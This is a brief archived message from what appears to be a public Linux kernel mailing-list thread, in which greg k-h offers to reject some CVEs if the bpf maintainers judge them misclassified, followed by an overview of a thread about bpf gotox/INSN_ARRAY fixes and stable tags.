Should we go reject these CVEs?  I'll be glad to do so if the bpf
maintainers say we classified these incorrectly.

thanks,

greg k-h

^ permalink raw reply	[flat|nested] 7+ messages in thread

end of thread, other threads:[~2026-11-01 13:07 UTC | newest]

Thread overview: 7+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
     [not found] <CAJgm7qNx6NBzfxQbwF0ZoMLoULquNpsnrYSL1F3EFf2tztES7Q@mail.gmail.com>
2026-10-30 22:39 ` gotox/INSN_ARRAY cross-subprog fixes: request vuln-fix designation and stable tags Greg KH
2026-10-31  1:10   ` James Burton
2026-10-31  5:26     ` Alexei Starovoitov
2026-10-31 23:07       ` James Burton
2026-11-01  1:33         ` Alexei Starovoitov
2026-11-01  7:26           ` James Burton
2026-11-01 13:07         ` Greg KH

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox